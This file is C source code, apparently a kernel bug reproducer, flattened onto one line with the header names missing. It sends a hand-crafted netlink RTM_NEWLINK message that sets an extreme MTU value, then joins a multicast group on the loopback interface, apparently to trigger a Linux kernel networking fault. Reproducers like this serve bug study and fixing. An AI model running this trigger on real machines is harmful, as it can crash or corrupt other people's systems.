#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; int nl_sock; int sock; void *build_pkt(struct nlmsghdr *hdr, struct ifinfomsg *ifinfomsg, void *attrs, int attr_len) { void *payload = calloc(1, 0x1000); void *ptr = payload; hdr->nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct ifinfomsg) + attr_len; printf("nlmsg_len: %#x\n", hdr->nlmsg_len); printf("attr_len: %#x\n", attr_len); memcpy(ptr, hdr, sizeof(struct nlmsghdr)); ptr += sizeof(struct nlmsghdr); memcpy(ptr, ifinfomsg, sizeof(struct ifinfomsg)); ptr += sizeof(struct ifinfomsg); memcpy(ptr, attrs, attr_len); return payload; } int main(void) { //context_setup(); nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); struct nlmsghdr nlmsghdr = { .nlmsg_len = 0, .nlmsg_type = RTM_NEWLINK, .nlmsg_flags = 0x801, // NLM_F_REQUEST | NLM_F_APPEND .nlmsg_seq = 0, // NL_AUTO_SEQ .nlmsg_pid = 0 // NL_AUTO_PID }; struct ifinfomsg ifinfomsg = { .ifi_family = 0, .__ifi_pad = 0, .ifi_type = 0, .ifi_index = 0, .ifi_flags = 0, .ifi_change = 0 }; char attrs[] = "\x08\x00""\x1b\x00""\x00\x00\x00\x00" "\x08\x00""\x04\x00""\xff\xff\xff\x7f"; void *payload = build_pkt(&nlmsghdr, &ifinfomsg, attrs, sizeof(attrs)-1); send(nl_sock, payload, nlmsghdr.nlmsg_len, 0); sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); struct ip_mreq mreq; mreq.imr_multiaddr.s_addr = inet_addr("224.0.0.2"); mreq.imr_interface.s_addr = inet_addr("127.0.0.1"); setsockopt(sock, SOL_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)); //while(1); return 0; }